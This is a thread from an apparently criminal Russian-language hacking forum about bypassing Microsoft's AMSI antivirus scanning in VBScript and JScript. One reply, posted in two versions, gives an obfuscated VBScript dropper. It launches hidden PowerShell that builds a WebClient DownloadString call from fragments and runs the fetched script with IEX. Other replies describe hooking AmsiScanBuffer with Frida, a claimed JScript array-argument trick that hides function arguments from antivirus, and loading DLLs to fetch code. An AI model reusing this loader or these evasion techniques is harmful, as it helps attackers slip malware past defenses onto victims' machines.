vbs/js

WhiteDragon

AMSI bypass
Пользователь
Регистрация
01.07.2021
Сообщения
165
Реакции
137
Депозит
0.0051
Пробовал обойти амси в вбс, жс, все без толку. Непонятно как там работает амси. Сперва думал как в пш string based, но ошибся. Обуфскация строк никак не помогает. На что там идет детект и как чистить подобные скрипты? В ресерчах детально не описывается. Я не прошу открыть 0дей патч, а именно как он работает и куда копать, чтоб детальнее понять как работает там амси.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
replace - тебе поможет )


Dim WAITPLZ, WS
WAITPLZ = DateAdd(Chr(115), 4, Now())
Do Until (Now() > WAITPLZ)
Loop

CO = " $c3='adString(''http:// Link For Script //'')'.replace('', '');"
AE = " -noexit $c1='(New-Object Net.We'.replace('', '');"
CM = " $c4='bClient).Downlo'.replace('', '');"
GN = "I`E`X $JI|I`E`X" + " "
GA = "$JI=($c1,$c4,$c3 -Join '');"

ORG = AE + CM + CO + GA + GN

WS = Chr(87) & Chr(83) + "cr" + StrReverse(".tpi") + Chr(83) & Chr(104) + "ell"
set INFO = CreateObject(WS)

AD = Chr(Chr(49) & Chr(49) & Chr(50)) & Chr(Chr(49) & Chr(49) & Chr(49))+Chr(Chr(49) & Chr(49) & Chr(57)) & Chr(101)+Chr(114) & Chr(115) & Chr(104)+Chr(101) & Chr(108)+Chr(108) & Chr(32)

INFO.Run AD + ORG, Chr(48)
'Execute("INFO.Run AD + ORG, 0")

Dim WAITPLZ, WS
WAITPLZ = DateAdd(Chr(115), 4, Now())
Do Until (Now() > WAITPLZ)
Loop

CO = " $c3='ad{end}{end}St{end}rin{end}{end}g{end}(''h{end}{end}t{end}t{end}{end}p:// Link For Script //'')'.replace('{end}', '');"
AE = " -noexit $c1='({end}{end}Ne{end}{end}w{end}-Obj{end}ec{end}{end}t N{end}{end}et{end}.W{end}{end}e'.replace('{end}', '');"
CM = " $c4='bC{end}li{end}{end}en{end}{end}t).D{end}{end}ow{end}{end}nl{end}{end}{end}o'.replace('{end}', '');"
GN = "I`E`X $JI|I`E`X" + " "
GA = "$JI=($c1,$c4,$c3 -Join '');"

ORG = AE + CM + CO + GA + GN

WS = Chr(87) & Chr(83) + "cr" + StrReverse(".tpi") + Chr(83) & Chr(104) + "ell"

set INFO = CreateObject(WS)


AD = Chr(Chr(49) & Chr(49) & Chr(50)) & Chr(Chr(49) & Chr(49) & Chr(49))+Chr(Chr(49) & Chr(49) & Chr(57)) & Chr(101)+Chr(114) & Chr(115) & Chr(104)+Chr(101) & Chr(108)+Chr(108) & Chr(32)

INFO.Run AD + ORG, Chr(48)

'Execute("INFO.Run AD + ORG, 0")
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Обуфскация строк никак не помогает.
А кто сказал, что сигнатура должна быть в строках? Теже вызовы методов на COM-объектах могут вполне составлять сигнатуру. И потом, сканирует не сам AMSI, сканирует антивирус, который через собственного AMSI-провайдера получает твой скрипт. А у антивируса может быть все, что угодно, вплоть до сендбоксинга твоего скрипта через IActiveScriptHost.
 
Писал уже ранее, повторюсь. Идёт анализ не только string-based контента, анализируется ещё стек вызовов. Но он анализируется не всегда, только когда дергается какая-либо blacklisted функция наподобие wshell.Run. При чем в стеке вызовов, который процессится посредством AMSI аверу - у функции показаны аргументы в чистом виде, обфускация не поможет. Можешь в этом убедиться, подвесив процесс интерпретатора на Frida. Лучший способ понять что происходит.
1) тебе надо сделать аналог ожидания команды, чтобы процесс ожидал от тебя новых инструкций и не закрывался после исполнения.
2) тебе надо поставить хук на функции в amsi.dll. AmsiScanBuffer и подобные. Именно те, которые патчатся в обходе AMSI от RastaMouse.
3) тестить и смотреть, много тестить и смотреть.
Так или иначе ав увидит, что ты запускаешь в wshell.Run, либо в контексте выхода из под js интерпретатора и его AMSI, либо работая с процессом интерпретатора на уровне WinAPI. Ибо под капотом там ниче нового не дергается, думаю, все тот же CreateProcess или че там.
4) небольшой зиродейчик - JSCRIPT не умеет сериализовать массивы для AMSI, но при этом во многие функции можно передать массив, вместо строки. То есть вместо "cmd.exe" передать ["cmd.exe"]. На уровне скрипта это будет работать, но в стеке вызовов, который процессится аверу, вместо

Foo("cmd.exe")

Будет видно

Foo(Unsupported parameter type 0x9)

Таким образом, если интерпретатор правильно не упакует массив, то посредством AMSI авер уже не получит аргументы для функций.
 
Последнее редактирование:
4) небольшой зиродейчик - JSCRIPT не умеет сериализовать массивы для AMSI, но при этом во многие функции можно передать массив, вместо строки. То есть вместо "cmd.exe" передать ["cmd.exe"]. На уровне скрипта это будет работать, но в стеке вызовов, который процессится аверу, вместо
Скрытый контент для пользователей: Haunt.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Скрытый контент для пользователей: WhiteDragon, Haunt.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Скрытый контент для пользователей: WhiteDragon, Haunt.
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
WhiteDragon, ты, видимо, не заметил, что запостил скрытый контент для никого. Но зато секьюрненько, да)
 
Ещё можно подтянуть свою ComVisible dll в интерпретатор. И не только свою. В сети валяется пример как подтягивают дотнет либу с диска и юзают подобным образом DownloadString функцию. Без редактирования реестра(регистрации компонента). Манифест в переменной + путь к dll на диске. Но я уже об этом писал. Пробовали?
 
Последнее редактирование:
4) небольшой зиродейчик - JSCRIPT не умеет сериализовать массивы для AMSI, но при этом во многие функции можно передать массив, вместо строки. То есть вместо "cmd.exe" передать ["cmd.exe"]. На уровне скрипта это будет работать, но в стеке вызовов, который процессится аверу, вместо

Foo("cmd.exe")

Будет видно

Foo(Unsupported parameter type 0x9)

Таким образом, если интерпретатор правильно не упакует массив, то посредством AMSI авер уже не получит аргументы для функций.
Пробывал с js vbs run так передать - не работает, либо что-то не так сделал.
 
Пробовал обойти амси в вбс, жс, все без толку. Непонятно как там работает амси. Сперва думал как в пш string based, но ошибся. Обуфскация строк никак не помогает. На что там идет детект и как чистить подобные скрипты? В ресерчах детально не описывается. Я не прошу открыть 0дей патч, а именно как он работает и куда копать, чтоб детальнее понять как работает там амси.

Almost all modern AVs take advantage of AMSI. and its API is easy as it doesnt care about AV engine
Static signatures are easier to change and this is not a worry. You could use automated tools but still check on your own

For dynamic evasion: for example AMSI is loaded with the same permissions into powershell process when startups, previously there were simple methods to bypass this easily with just a couple of commands

But still AMSI is loaded into the same permission levels & security context as the user you have the session which can be abused.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх